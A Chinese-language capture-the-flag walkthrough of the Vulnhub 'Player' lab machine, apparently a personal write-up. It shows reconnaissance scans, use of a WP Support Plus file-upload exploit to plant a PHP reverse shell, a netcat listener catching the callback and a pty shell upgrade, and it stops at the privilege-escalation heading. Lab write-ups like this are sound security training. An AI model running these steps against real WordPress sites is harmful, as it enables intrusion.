Player 1识别目标主机IP地址
kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor 192.168.56.100 08:00:27:bf:bb:24 1 60 PCS Systemtechnik GmbH 192.168.56.224 08:00:27:78:95:6d 1 60 PCS Systemtechnik GmbH 利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.224
NMAP扫描
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.224 -oN nmap_full_scanStarting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 23:51 EDTNmap scan report for bogon (192.168.56.224)Host is up (0.00017s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-title: Apache2 Debian Default Page: It works|_http-server-header: Apache/2.4.38 (Debian)3306/tcp open mysql MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1| mysql-info: | Protocol: 10| Version: 5.5.5-10.3.18-MariaDB-0+deb10u1| Thread ID: 38| Capabilities flags: 63486| Some Capabilities: IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, IgnoreSigpipes, Speaks41ProtocolOld, SupportsCompression, SupportsTransactions, ODBCClient, SupportsLoadDataLocal, Support41Auth, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, InteractiveClient, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins| Status: Autocommit| Salt: _^;H;/v)eBYxrR%^.g=8|_ Auth Plugin Name: mysql_native_passwordMAC Address: 08:00:27:78:95:6D (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.98 secondsNMAP扫描结果表明目标主机有2个开放端口：80（http)、3306（mysql)
获得Shell
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mysql -uroot -p -h 192.168.56.224Enter password: ERROR 1698 (28000): Access denied for user 'root'@'192.168.56.146' ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mysql -uroot -p -h 192.168.56.224Enter password: ERROR 1698 (28000): Access denied for user 'root'@'192.168.56.146'mysql不存在弱口令。
└─$ curl http://192.168.56.224/robots.txt 404 Not Found Not Found
The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.56.224 Port 80 ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ nikto -h http://192.168.56.224 - Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.56.224+ Target Hostname: 192.168.56.224+ Target Port: 80+ Start Time: 2023-03-20 23:53:58 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.38 (Debian)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: 2962, size: 59d6a8bf07689, mtime: gzip+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST + OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 6 item(s) reported on remote host+ End Time: 2023-03-20 23:54:58 (GMT-4) (60 seconds)---------------------------------------------------------------------------+ 1 host(s) tested ********************************************************************* Portions of the server's headers (Apache/2.4.38) are not in the Nikto 2.1.6 database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo@cirt.net) (y/n)? 目录扫描没有什么收获，但是仔细查看页面：
y default, Debian does not allow access through the web browser to any file apart of those located in /var/www, public_html directories (when enabled) and /usr/share (for web applications). If your site is using a web document root located elsewhere (such as in /srv) you may need to whitelist your document root directory in /etc/apache2/apache2.conf.The default Debian document root is /var/www/html/g@web. You can make your own virtual hosts under /var/www/mini@web. This is different to previous releases which provides better security out of the box. 有目录:g@web,访问该目录，可知为wordpress站点。
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ wpscan --url http://192.168.56.224/g@web -e u,p _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[i] It seems like you have not updated the database for some time.[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://192.168.56.224/g@web/ [192.168.56.224][+] Started: Tue Mar 21 00:17:00 2023Interesting Finding(s):[+] Headers | Interesting Entry: Server: Apache/2.4.38 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.56.224/g@web/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.56.224/g@web/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] Registration is enabled: http://192.168.56.224/g@web/wp-login.php?action=register | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] Upload directory has listing enabled: http://192.168.56.224/g@web/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.56.224/g@web/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.3.2 identified (Insecure, released on 2019-12-18). | Found By: Rss Generator (Passive Detection) | - http://192.168.56.224/g@web/index.php/feed/, https://wordpress.org/?v=5.3.2 | - http://192.168.56.224/g@web/index.php/comments/feed/, https://wordpress.org/?v=5.3.2[+] WordPress theme in use: twentyseventeen | Location: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/ | Last Updated: 2022-11-02T00:00:00.000Z | Readme: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/readme.txt | [!] The version is out of date, the latest version is 3.1 | Style URL: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/style.css?ver=20190507 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 2.3 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'[+] Enumerating Most Popular Plugins (via Passive Methods)[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] wp-support-plus-responsive-ticket-system | Location: http://192.168.56.224/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/ | Last Updated: 2019-09-03T07:57:00.000Z | [!] The version is out of date, the latest version is 9.1.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 7.1.3 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://192.168.56.224/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] wp-local | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://192.168.56.224/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Tue Mar 21 00:17:10 2023[+] Requests Done: 56[+] Cached Requests: 7[+] Data Sent: 14.631 KB[+] Data Received: 565.397 KB[+] Memory used: 247.859 MB[+] Elapsed time: 00:00:09这里wpscan的结果中的链接含有密码为 ： hackNos@9012!!
http://192.168.56.224/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1但是登录失败，但是前面扫描出一个有漏洞的插件：
https://www.exploit-db.com/exploits/41006form method="post" enctype="multipart/form-data" action="https://example.com/wp-admin/admin-ajax.php"> Choose a file ending with .phtml: form>在本地创建文件，并修改，修改url
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ cat test.html Choose a file ending with .phtml: ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ cp ~/Desktop/Toolsets/PHPShell/php-reverse-shell.php shell.php ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ vim shell.php ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mv shell.php shell.phtml然后访问：http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
进入目录即可发现我们上传的shell.phtml
http://192.168.56.224/g@web/wp-content/uploads/wpsp/┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo nc -nlvp 5555 [sudo] password for kali: listening on [any] 5555 ...connect to [192.168.56.146] from (UNKNOWN) [192.168.56.224] 33830Linux hacknos 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux 21:38:27 up 48 min, 0 users, load average: 0.01, 0.38, 1.50USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)$ which python/usr/bin/python$ python -c 'import pty;pty.spawn("/bin/bash")'前面到的密码hackNos@9012!!，经过尝试为security用户的密码
提权
STRIVE FOR PROGRESS,NOT FOR PERFECTION